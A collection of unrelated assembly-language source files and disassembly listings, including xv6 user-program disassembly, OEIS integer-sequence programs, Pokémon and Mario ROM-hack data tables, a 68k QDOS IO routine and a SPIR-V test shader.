5ca: e8 40 fd ff ff call 30f <sbrk>
if(p == (char*)-1)
5cf: 83 c4 10 add $0x10,%esp
5d2: 83 f8 ff cmp $0xffffffff,%eax
5d5: 74 1c je 5f3 <morecore+0x49>
return 0;
hp = (Header*)p;
hp->s.size = nu;
5d7: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
5da: 83 c0 08 add $0x8,%eax
5dd: 83 ec 0c sub $0xc,%esp
5e0: 50 push %eax
5e1: e8 54 ff ff ff call 53a <free>
return freep;
5e6: a1 a0 09 00 00 mov 0x9a0,%eax
5eb: 83 c4 10 add $0x10,%esp
}
5ee: 8b 5d fc mov -0x4(%ebp),%ebx
5f1: c9 leave
5f2: c3 ret
return 0;
5f3: b8 00 00 00 00 mov $0x0,%eax
5f8: eb f4 jmp 5ee <morecore+0x44>
000005fa <malloc>:
void*
malloc(uint nbytes)
{
5fa: 55 push %ebp
5fb: 89 e5 mov %esp,%ebp
5fd: 53 push %ebx
5fe: 83 ec 04 sub $0x4,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
601: 8b 45 08 mov 0x8(%ebp),%eax
604: 8d 58 07 lea 0x7(%eax),%ebx
607: c1 eb 03 shr $0x3,%ebx
60a: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
60d: 8b 0d a0 09 00 00 mov 0x9a0,%ecx
613: 85 c9 test %ecx,%ecx
615: 74 04 je 61b <malloc+0x21>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
617: 8b 01 mov (%ecx),%eax
619: eb 4d jmp 668 <malloc+0x6e>
base.s.ptr = freep = prevp = &base;
61b: c7 05 a0 09 00 00 a4 movl $0x9a4,0x9a0
622: 09 00 00
625: c7 05 a4 09 00 00 a4 movl $0x9a4,0x9a4
62c: 09 00 00
base.s.size = 0;
62f: c7 05 a8 09 00 00 00 movl $0x0,0x9a8
636: 00 00 00
base.s.ptr = freep = prevp = &base;
639: b9 a4 09 00 00 mov $0x9a4,%ecx
63e: eb d7 jmp 617 <malloc+0x1d>
if(p->s.size >= nunits){
if(p->s.size == nunits)
640: 39 da cmp %ebx,%edx
642: 74 1a je 65e <malloc+0x64>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
644: 29 da sub %ebx,%edx
646: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
649: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
64c: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
64f: 89 0d a0 09 00 00 mov %ecx,0x9a0
return (void*)(p + 1);
655: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
658: 83 c4 04 add $0x4,%esp
65b: 5b pop %ebx
65c: 5d pop %ebp
65d: c3 ret
prevp->s.ptr = p->s.ptr;
65e: 8b 10 mov (%eax),%edx
660: 89 11 mov %edx,(%ecx)
662: eb eb jmp 64f <malloc+0x55>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
664: 89 c1 mov %eax,%ecx
666: 8b 00 mov (%eax),%eax
if(p->s.size >= nunits){
668: 8b 50 04 mov 0x4(%eax),%edx
66b: 39 da cmp %ebx,%edx
66d: 73 d1 jae 640 <malloc+0x46>
if(p == freep)
66f: 39 05 a0 09 00 00 cmp %eax,0x9a0
675: 75 ed jne 664 <malloc+0x6a>
if((p = morecore(nunits)) == 0)
677: 89 d8 mov %ebx,%eax
679: e8 2c ff ff ff call 5aa <morecore>
67e: 85 c0 test %eax,%eax
680: 75 e2 jne 664 <malloc+0x6a>
return 0;
682: b8 00 00 00 00 mov $0x0,%eax
687: eb cf jmp 658 <malloc+0x5e>
|
; A158696: a(n) = Hermite(n, 17).
; Submitted by Jon Maiga
; 1,34,1154,39100,1322476,44651384,1504922296,50631541456,1700403497360,57003614246944,1907515621443616,63715458844144064,2124360257029138624,70699077726731255680,2348535276026105088896,77870625208539097863424,2577145198809546174689536,85131076752851318807814656,2806833672837420269526254080,92367626113369641686811311104,3033839608286745847109586922496,99455841637214573134253502920704,3254077352117252160986016448559104,106262572939949132255617405122498560,3463239921760876897285635017531232256
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
mul $2,34
mul $3,-1
mul $3,$0
mul $3,2
lpe
mov $0,$1
|
%include "io.inc"
section .data
num dd 100
section .text
global CMAIN
CMAIN:
mov ebp, esp; for correct debugging
;write your code here
xor eax, eax
mov ecx, [num]
add_to_sum:
;push ecx
;imul ecx, ecx
;add eax, ecx
;pop ecx
push ecx
push eax
mov eax, ecx
mul ecx
pop ecx
add eax, ecx
pop ecx
loop add_to_sum
PRINT_UDEC 4, eax
ret |
db DEX_SEAKING ; pokedex id
db 80 ; base hp
db 92 ; base attack
db 65 ; base defense
db 68 ; base speed
db 80 ; base special
db WATER ; species type 1
db WATER ; species type 2
db 60 ; catch rate
db 170 ; base exp yield
INCBIN "pic/ymon/seaking.pic",0,1 ; 77, sprite dimensions
dw SeakingPicFront
dw SeakingPicBack
; attacks known at lvl 0
db PECK
db TAIL_WHIP
db SUPERSONIC
db 0
db 0 ; growth rate
; learnset
tmlearn 6,7
tmlearn 9,10,11,12,13,14,15
tmlearn 20
tmlearn 31,32
tmlearn 34,39,40
tmlearn 44
tmlearn 50,53
db BANK(SeakingPicFront)
|
; General IO utility: fetch multiple bytes V2.00 1988 Tony Tebby
section gen_util
xdef gu_fmul
xdef gu_flin
xref gu_iow
include 'dev8_keys_qdos_io'
;+++
; This routine does simple fetch line, using d1, preserving a1
;
; d1 cr buffer size / length of line
; a0 c p channel ID
; a1 c p pointer to buffer
; error returns standard
;---
gu_flin
moveq #iob.flin,d0 ; fetch line
bra.s guf_do
;+++
; This routine does simple fetch multiple bytes, using d1, preserving a1
;
; d1 cr number of bytes to fetch / number fetched
; a0 c p channel ID
; a1 c p pointer to buffer
; error returns standard
;---
gu_fmul
moveq #iob.fmul,d0 ; fetch multiple bytes
guf_do
movem.l d2/a1,-(sp)
move.w d1,d2
bsr.s gu_iow
movem.l (sp)+,d2/a1
rts
end
|
; A078312: Greatest prime factor of n*rad(n)+1, where rad=A007947 (squarefree kernel).
; Submitted by Jamie Morken(s1)
; 2,5,5,3,13,37,5,17,7,101,61,73,17,197,113,11,29,109,181,67,17,97,53,29,7,677,41,131,421,53,37,13,109,89,613,31,137,17,761,401,29,353,37,19,13,73,17,17,43,167,1301,41,281,13,89,157,13,673,1741,1801,1861,769,331,43,2113,4357,449,257,2381,29,2521,433,41,5477,563,107,593,1217,3121,89,61,269,53,3529,3613,569,757,149,233,73,101,83,173,8837,4513,577,941,1373,43,13
seq $0,64549 ; a(n) = n * Product_{primes p|n} p.
seq $0,111089 ; Largest prime factor of 2n.
|
; A099976: Bisection of A000984.
; 2,20,252,3432,48620,705432,10400600,155117520,2333606220,35345263800,538257874440,8233430727600,126410606437752,1946939425648112,30067266499541040,465428353255261088,7219428434016265740,112186277816662845432,1746130564335626209832,27217014869199032015600,424784580848791721628840,6637553085023755473070800,103827421287553411369671120,1625701140345170250548615520,25477612258980856902730428600,399608854866744452032002440112,6272525058612251449529907677520,98527218530093856775578873054432
mul $0,2
mov $1,-2
sub $1,$0
bin $1,$0
mul $1,2
mov $0,$1
|
; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 105
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %89
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %10 "m32"
OpName %14 "buf1"
OpMemberName %14 0 "_GLF_uniform_float_values"
OpName %16 ""
OpName %33 "buf0"
OpMemberName %33 0 "_GLF_uniform_int_values"
OpName %35 ""
OpName %53 "sums"
OpName %89 "_GLF_color"
OpDecorate %13 ArrayStride 16
OpMemberDecorate %14 0 Offset 0
OpDecorate %14 Block
OpDecorate %16 DescriptorSet 0
OpDecorate %16 Binding 1
OpDecorate %32 ArrayStride 16
OpMemberDecorate %33 0 Offset 0
OpDecorate %33 Block
OpDecorate %35 DescriptorSet 0
OpDecorate %35 Binding 0
OpDecorate %89 Location 0
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeFloat 32
%7 = OpTypeVector %6 2
%8 = OpTypeMatrix %7 3
%9 = OpTypePointer Function %8
%11 = OpTypeInt 32 0
%12 = OpConstant %11 2
%13 = OpTypeArray %6 %12
%14 = OpTypeStruct %13
%15 = OpTypePointer Uniform %14
%16 = OpVariable %15 Uniform
%17 = OpTypeInt 32 1
%18 = OpConstant %17 0
%19 = OpTypePointer Uniform %6
%23 = OpConstant %6 0
%30 = OpConstant %17 3
%31 = OpConstant %11 3
%32 = OpTypeArray %17 %31
%33 = OpTypeStruct %32
%34 = OpTypePointer Uniform %33
%35 = OpVariable %34 Uniform
%36 = OpTypePointer Uniform %17
%39 = OpConstant %17 1
%40 = OpTypeBool
%49 = OpTypePointer Function %6
%51 = OpTypeArray %6 %31
%52 = OpTypePointer Function %51
%70 = OpConstant %17 2
%87 = OpTypeVector %6 4
%88 = OpTypePointer Output %87
%89 = OpVariable %88 Output
%103 = OpConstantComposite %7 %23 %23
%4 = OpFunction %2 None %3
%5 = OpLabel
%10 = OpVariable %9 Function
%53 = OpVariable %52 Function
%20 = OpAccessChain %19 %16 %18 %18
%21 = OpLoad %6 %20
%24 = OpCompositeConstruct %7 %21 %23
%25 = OpCompositeConstruct %7 %23 %21
%27 = OpCompositeConstruct %8 %24 %25 %103
OpStore %10 %27
%37 = OpAccessChain %36 %35 %18 %18
%38 = OpLoad %17 %37
%41 = OpIEqual %40 %38 %39
OpSelectionMerge %43 None
OpBranchConditional %41 %42 %43
%42 = OpLabel
%50 = OpAccessChain %49 %10 %30 %38
OpStore %50 %21
OpBranch %43
%43 = OpLabel
%60 = OpCompositeConstruct %51 %21 %21 %21
OpStore %53 %60
OpBranch %64
%64 = OpLabel
%104 = OpPhi %17 %38 %43 %86 %65
%71 = OpAccessChain %36 %35 %18 %70
%72 = OpLoad %17 %71
%73 = OpSLessThan %40 %104 %72
OpLoopMerge %66 %65 None
OpBranchConditional %73 %65 %66
%65 = OpLabel
%79 = OpAccessChain %49 %10 %104 %38
%80 = OpLoad %6 %79
%81 = OpAccessChain %49 %53 %72
%82 = OpLoad %6 %81
%83 = OpFAdd %6 %82 %80
OpStore %81 %83
%86 = OpIAdd %17 %104 %39
OpBranch %64
%66 = OpLabel
%92 = OpAccessChain %49 %53 %38
%93 = OpLoad %6 %92
%94 = OpAccessChain %19 %16 %18 %39
%95 = OpLoad %6 %94
%98 = OpAccessChain %36 %35 %18 %39
%99 = OpLoad %17 %98
%100 = OpAccessChain %49 %53 %99
%101 = OpLoad %6 %100
%102 = OpCompositeConstruct %87 %93 %95 %95 %101
OpStore %89 %102
OpReturn
OpFunctionEnd
|
; Original address was $BB45
; Unused "Dark" hammer bro fight area
.word $0000 ; Alternate level layout
.word $0000 ; Alternate object layout
.byte LEVEL1_SIZE_01 | LEVEL1_YSTART_170
.byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_00 | LEVEL3_VSCROLL_LOCKLOW
.byte LEVEL4_BGBANK_INDEX(0) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_OVERWORLD | LEVEL5_TIME_300
.byte $FF
|
_kill: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char **argv)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 53 push %ebx
e: 51 push %ecx
f: 83 ec 10 sub $0x10,%esp
12: 89 cb mov %ecx,%ebx
int i;
if(argc < 2){
14: 83 3b 01 cmpl $0x1,(%ebx)
17: 7f 17 jg 30 <main+0x30>
printf(2, "usage: kill pid...\n");
19: 83 ec 08 sub $0x8,%esp
1c: 68 0e 08 00 00 push $0x80e
21: 6a 02 push $0x2
23: e8 30 04 00 00 call 458 <printf>
28: 83 c4 10 add $0x10,%esp
exit();
2b: e8 99 02 00 00 call 2c9 <exit>
}
for(i=1; i<argc; i++)
30: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
37: eb 2d jmp 66 <main+0x66>
kill(atoi(argv[i]));
39: 8b 45 f4 mov -0xc(%ebp),%eax
3c: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
43: 8b 43 04 mov 0x4(%ebx),%eax
46: 01 d0 add %edx,%eax
48: 8b 00 mov (%eax),%eax
4a: 83 ec 0c sub $0xc,%esp
4d: 50 push %eax
4e: e8 e4 01 00 00 call 237 <atoi>
53: 83 c4 10 add $0x10,%esp
56: 83 ec 0c sub $0xc,%esp
59: 50 push %eax
5a: e8 9a 02 00 00 call 2f9 <kill>
5f: 83 c4 10 add $0x10,%esp
if(argc < 2){
printf(2, "usage: kill pid...\n");
exit();
}
for(i=1; i<argc; i++)
62: 83 45 f4 01 addl $0x1,-0xc(%ebp)
66: 8b 45 f4 mov -0xc(%ebp),%eax
69: 3b 03 cmp (%ebx),%eax
6b: 7c cc jl 39 <main+0x39>
kill(atoi(argv[i]));
exit();
6d: e8 57 02 00 00 call 2c9 <exit>
00000072 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
72: 55 push %ebp
73: 89 e5 mov %esp,%ebp
75: 57 push %edi
76: 53 push %ebx
asm volatile("cld; rep stosb" :
77: 8b 4d 08 mov 0x8(%ebp),%ecx
7a: 8b 55 10 mov 0x10(%ebp),%edx
7d: 8b 45 0c mov 0xc(%ebp),%eax
80: 89 cb mov %ecx,%ebx
82: 89 df mov %ebx,%edi
84: 89 d1 mov %edx,%ecx
86: fc cld
87: f3 aa rep stos %al,%es:(%edi)
89: 89 ca mov %ecx,%edx
8b: 89 fb mov %edi,%ebx
8d: 89 5d 08 mov %ebx,0x8(%ebp)
90: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
93: 90 nop
94: 5b pop %ebx
95: 5f pop %edi
96: 5d pop %ebp
97: c3 ret
00000098 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
98: 55 push %ebp
99: 89 e5 mov %esp,%ebp
9b: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
9e: 8b 45 08 mov 0x8(%ebp),%eax
a1: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
a4: 90 nop
a5: 8b 45 08 mov 0x8(%ebp),%eax
a8: 8d 50 01 lea 0x1(%eax),%edx
ab: 89 55 08 mov %edx,0x8(%ebp)
ae: 8b 55 0c mov 0xc(%ebp),%edx
b1: 8d 4a 01 lea 0x1(%edx),%ecx
b4: 89 4d 0c mov %ecx,0xc(%ebp)
b7: 0f b6 12 movzbl (%edx),%edx
ba: 88 10 mov %dl,(%eax)
bc: 0f b6 00 movzbl (%eax),%eax
bf: 84 c0 test %al,%al
c1: 75 e2 jne a5 <strcpy+0xd>
;
return os;
c3: 8b 45 fc mov -0x4(%ebp),%eax
}
c6: c9 leave
c7: c3 ret
000000c8 <strcmp>:
int
strcmp(const char *p, const char *q)
{
c8: 55 push %ebp
c9: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
cb: eb 08 jmp d5 <strcmp+0xd>
p++, q++;
cd: 83 45 08 01 addl $0x1,0x8(%ebp)
d1: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
d5: 8b 45 08 mov 0x8(%ebp),%eax
d8: 0f b6 00 movzbl (%eax),%eax
db: 84 c0 test %al,%al
dd: 74 10 je ef <strcmp+0x27>
df: 8b 45 08 mov 0x8(%ebp),%eax
e2: 0f b6 10 movzbl (%eax),%edx
e5: 8b 45 0c mov 0xc(%ebp),%eax
e8: 0f b6 00 movzbl (%eax),%eax
eb: 38 c2 cmp %al,%dl
ed: 74 de je cd <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
ef: 8b 45 08 mov 0x8(%ebp),%eax
f2: 0f b6 00 movzbl (%eax),%eax
f5: 0f b6 d0 movzbl %al,%edx
f8: 8b 45 0c mov 0xc(%ebp),%eax
fb: 0f b6 00 movzbl (%eax),%eax
fe: 0f b6 c0 movzbl %al,%eax
101: 29 c2 sub %eax,%edx
103: 89 d0 mov %edx,%eax
}
105: 5d pop %ebp
106: c3 ret
00000107 <strlen>:
uint
strlen(char *s)
{
107: 55 push %ebp
108: 89 e5 mov %esp,%ebp
10a: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
10d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
114: eb 04 jmp 11a <strlen+0x13>
116: 83 45 fc 01 addl $0x1,-0x4(%ebp)
11a: 8b 55 fc mov -0x4(%ebp),%edx
11d: 8b 45 08 mov 0x8(%ebp),%eax
120: 01 d0 add %edx,%eax
122: 0f b6 00 movzbl (%eax),%eax
125: 84 c0 test %al,%al
127: 75 ed jne 116 <strlen+0xf>
;
return n;
129: 8b 45 fc mov -0x4(%ebp),%eax
}
12c: c9 leave
12d: c3 ret
0000012e <memset>:
void*
memset(void *dst, int c, uint n)
{
12e: 55 push %ebp
12f: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
131: 8b 45 10 mov 0x10(%ebp),%eax
134: 50 push %eax
135: ff 75 0c pushl 0xc(%ebp)
138: ff 75 08 pushl 0x8(%ebp)
13b: e8 32 ff ff ff call 72 <stosb>
140: 83 c4 0c add $0xc,%esp
return dst;
143: 8b 45 08 mov 0x8(%ebp),%eax
}
146: c9 leave
147: c3 ret
00000148 <strchr>:
char*
strchr(const char *s, char c)
{
148: 55 push %ebp
149: 89 e5 mov %esp,%ebp
14b: 83 ec 04 sub $0x4,%esp
14e: 8b 45 0c mov 0xc(%ebp),%eax
151: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
154: eb 14 jmp 16a <strchr+0x22>
if(*s == c)
156: 8b 45 08 mov 0x8(%ebp),%eax
159: 0f b6 00 movzbl (%eax),%eax
15c: 3a 45 fc cmp -0x4(%ebp),%al
15f: 75 05 jne 166 <strchr+0x1e>
return (char*)s;
161: 8b 45 08 mov 0x8(%ebp),%eax
164: eb 13 jmp 179 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
166: 83 45 08 01 addl $0x1,0x8(%ebp)
16a: 8b 45 08 mov 0x8(%ebp),%eax
16d: 0f b6 00 movzbl (%eax),%eax
170: 84 c0 test %al,%al
172: 75 e2 jne 156 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
174: b8 00 00 00 00 mov $0x0,%eax
}
179: c9 leave
17a: c3 ret
0000017b <gets>:
char*
gets(char *buf, int max)
{
17b: 55 push %ebp
17c: 89 e5 mov %esp,%ebp
17e: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
181: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
188: eb 42 jmp 1cc <gets+0x51>
cc = read(0, &c, 1);
18a: 83 ec 04 sub $0x4,%esp
18d: 6a 01 push $0x1
18f: 8d 45 ef lea -0x11(%ebp),%eax
192: 50 push %eax
193: 6a 00 push $0x0
195: e8 47 01 00 00 call 2e1 <read>
19a: 83 c4 10 add $0x10,%esp
19d: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
1a0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1a4: 7e 33 jle 1d9 <gets+0x5e>
break;
buf[i++] = c;
1a6: 8b 45 f4 mov -0xc(%ebp),%eax
1a9: 8d 50 01 lea 0x1(%eax),%edx
1ac: 89 55 f4 mov %edx,-0xc(%ebp)
1af: 89 c2 mov %eax,%edx
1b1: 8b 45 08 mov 0x8(%ebp),%eax
1b4: 01 c2 add %eax,%edx
1b6: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1ba: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1bc: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1c0: 3c 0a cmp $0xa,%al
1c2: 74 16 je 1da <gets+0x5f>
1c4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1c8: 3c 0d cmp $0xd,%al
1ca: 74 0e je 1da <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1cc: 8b 45 f4 mov -0xc(%ebp),%eax
1cf: 83 c0 01 add $0x1,%eax
1d2: 3b 45 0c cmp 0xc(%ebp),%eax
1d5: 7c b3 jl 18a <gets+0xf>
1d7: eb 01 jmp 1da <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
1d9: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1da: 8b 55 f4 mov -0xc(%ebp),%edx
1dd: 8b 45 08 mov 0x8(%ebp),%eax
1e0: 01 d0 add %edx,%eax
1e2: c6 00 00 movb $0x0,(%eax)
return buf;
1e5: 8b 45 08 mov 0x8(%ebp),%eax
}
1e8: c9 leave
1e9: c3 ret
000001ea <stat>:
int
stat(char *n, struct stat *st)
{
1ea: 55 push %ebp
1eb: 89 e5 mov %esp,%ebp
1ed: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1f0: 83 ec 08 sub $0x8,%esp
1f3: 6a 00 push $0x0
1f5: ff 75 08 pushl 0x8(%ebp)
1f8: e8 0c 01 00 00 call 309 <open>
1fd: 83 c4 10 add $0x10,%esp
200: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
203: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
207: 79 07 jns 210 <stat+0x26>
return -1;
209: b8 ff ff ff ff mov $0xffffffff,%eax
20e: eb 25 jmp 235 <stat+0x4b>
r = fstat(fd, st);
210: 83 ec 08 sub $0x8,%esp
213: ff 75 0c pushl 0xc(%ebp)
216: ff 75 f4 pushl -0xc(%ebp)
219: e8 03 01 00 00 call 321 <fstat>
21e: 83 c4 10 add $0x10,%esp
221: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
224: 83 ec 0c sub $0xc,%esp
227: ff 75 f4 pushl -0xc(%ebp)
22a: e8 c2 00 00 00 call 2f1 <close>
22f: 83 c4 10 add $0x10,%esp
return r;
232: 8b 45 f0 mov -0x10(%ebp),%eax
}
235: c9 leave
236: c3 ret
00000237 <atoi>:
int
atoi(const char *s)
{
237: 55 push %ebp
238: 89 e5 mov %esp,%ebp
23a: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
23d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
244: eb 25 jmp 26b <atoi+0x34>
n = n*10 + *s++ - '0';
246: 8b 55 fc mov -0x4(%ebp),%edx
249: 89 d0 mov %edx,%eax
24b: c1 e0 02 shl $0x2,%eax
24e: 01 d0 add %edx,%eax
250: 01 c0 add %eax,%eax
252: 89 c1 mov %eax,%ecx
254: 8b 45 08 mov 0x8(%ebp),%eax
257: 8d 50 01 lea 0x1(%eax),%edx
25a: 89 55 08 mov %edx,0x8(%ebp)
25d: 0f b6 00 movzbl (%eax),%eax
260: 0f be c0 movsbl %al,%eax
263: 01 c8 add %ecx,%eax
265: 83 e8 30 sub $0x30,%eax
268: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
26b: 8b 45 08 mov 0x8(%ebp),%eax
26e: 0f b6 00 movzbl (%eax),%eax
271: 3c 2f cmp $0x2f,%al
273: 7e 0a jle 27f <atoi+0x48>
275: 8b 45 08 mov 0x8(%ebp),%eax
278: 0f b6 00 movzbl (%eax),%eax
27b: 3c 39 cmp $0x39,%al
27d: 7e c7 jle 246 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
27f: 8b 45 fc mov -0x4(%ebp),%eax
}
282: c9 leave
283: c3 ret
00000284 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
284: 55 push %ebp
285: 89 e5 mov %esp,%ebp
287: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
28a: 8b 45 08 mov 0x8(%ebp),%eax
28d: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
290: 8b 45 0c mov 0xc(%ebp),%eax
293: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
296: eb 17 jmp 2af <memmove+0x2b>
*dst++ = *src++;
298: 8b 45 fc mov -0x4(%ebp),%eax
29b: 8d 50 01 lea 0x1(%eax),%edx
29e: 89 55 fc mov %edx,-0x4(%ebp)
2a1: 8b 55 f8 mov -0x8(%ebp),%edx
2a4: 8d 4a 01 lea 0x1(%edx),%ecx
2a7: 89 4d f8 mov %ecx,-0x8(%ebp)
2aa: 0f b6 12 movzbl (%edx),%edx
2ad: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2af: 8b 45 10 mov 0x10(%ebp),%eax
2b2: 8d 50 ff lea -0x1(%eax),%edx
2b5: 89 55 10 mov %edx,0x10(%ebp)
2b8: 85 c0 test %eax,%eax
2ba: 7f dc jg 298 <memmove+0x14>
*dst++ = *src++;
return vdst;
2bc: 8b 45 08 mov 0x8(%ebp),%eax
}
2bf: c9 leave
2c0: c3 ret
000002c1 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2c1: b8 01 00 00 00 mov $0x1,%eax
2c6: cd 40 int $0x40
2c8: c3 ret
000002c9 <exit>:
SYSCALL(exit)
2c9: b8 02 00 00 00 mov $0x2,%eax
2ce: cd 40 int $0x40
2d0: c3 ret
000002d1 <wait>:
SYSCALL(wait)
2d1: b8 03 00 00 00 mov $0x3,%eax
2d6: cd 40 int $0x40
2d8: c3 ret
000002d9 <pipe>:
SYSCALL(pipe)
2d9: b8 04 00 00 00 mov $0x4,%eax
2de: cd 40 int $0x40
2e0: c3 ret
000002e1 <read>:
SYSCALL(read)
2e1: b8 05 00 00 00 mov $0x5,%eax
2e6: cd 40 int $0x40
2e8: c3 ret
000002e9 <write>:
SYSCALL(write)
2e9: b8 10 00 00 00 mov $0x10,%eax
2ee: cd 40 int $0x40
2f0: c3 ret
000002f1 <close>:
SYSCALL(close)
2f1: b8 15 00 00 00 mov $0x15,%eax
2f6: cd 40 int $0x40
2f8: c3 ret
000002f9 <kill>:
SYSCALL(kill)
2f9: b8 06 00 00 00 mov $0x6,%eax
2fe: cd 40 int $0x40
300: c3 ret
00000301 <exec>:
SYSCALL(exec)
301: b8 07 00 00 00 mov $0x7,%eax
306: cd 40 int $0x40
308: c3 ret
00000309 <open>:
SYSCALL(open)
309: b8 0f 00 00 00 mov $0xf,%eax
30e: cd 40 int $0x40
310: c3 ret
00000311 <mknod>:
SYSCALL(mknod)
311: b8 11 00 00 00 mov $0x11,%eax
316: cd 40 int $0x40
318: c3 ret
00000319 <unlink>:
SYSCALL(unlink)
319: b8 12 00 00 00 mov $0x12,%eax
31e: cd 40 int $0x40
320: c3 ret
00000321 <fstat>:
SYSCALL(fstat)
321: b8 08 00 00 00 mov $0x8,%eax
326: cd 40 int $0x40
328: c3 ret
00000329 <link>:
SYSCALL(link)
329: b8 13 00 00 00 mov $0x13,%eax
32e: cd 40 int $0x40
330: c3 ret
00000331 <mkdir>:
SYSCALL(mkdir)
331: b8 14 00 00 00 mov $0x14,%eax
336: cd 40 int $0x40
338: c3 ret
00000339 <chdir>:
SYSCALL(chdir)
339: b8 09 00 00 00 mov $0x9,%eax
33e: cd 40 int $0x40
340: c3 ret
00000341 <dup>:
SYSCALL(dup)
341: b8 0a 00 00 00 mov $0xa,%eax
346: cd 40 int $0x40
348: c3 ret
00000349 <getpid>:
SYSCALL(getpid)
349: b8 0b 00 00 00 mov $0xb,%eax
34e: cd 40 int $0x40
350: c3 ret
00000351 <sbrk>:
SYSCALL(sbrk)
351: b8 0c 00 00 00 mov $0xc,%eax
356: cd 40 int $0x40
358: c3 ret
00000359 <sleep>:
SYSCALL(sleep)
359: b8 0d 00 00 00 mov $0xd,%eax
35e: cd 40 int $0x40
360: c3 ret
00000361 <uptime>:
SYSCALL(uptime)
361: b8 0e 00 00 00 mov $0xe,%eax
366: cd 40 int $0x40
368: c3 ret
00000369 <getppid>:
SYSCALL(getppid)
369: b8 16 00 00 00 mov $0x16,%eax
36e: cd 40 int $0x40
370: c3 ret
00000371 <wait2>:
SYSCALL(wait2)
371: b8 18 00 00 00 mov $0x18,%eax
376: cd 40 int $0x40
378: c3 ret
00000379 <nice>:
SYSCALL(nice)
379: b8 17 00 00 00 mov $0x17,%eax
37e: cd 40 int $0x40
380: c3 ret
00000381 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
381: 55 push %ebp
382: 89 e5 mov %esp,%ebp
384: 83 ec 18 sub $0x18,%esp
387: 8b 45 0c mov 0xc(%ebp),%eax
38a: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
38d: 83 ec 04 sub $0x4,%esp
390: 6a 01 push $0x1
392: 8d 45 f4 lea -0xc(%ebp),%eax
395: 50 push %eax
396: ff 75 08 pushl 0x8(%ebp)
399: e8 4b ff ff ff call 2e9 <write>
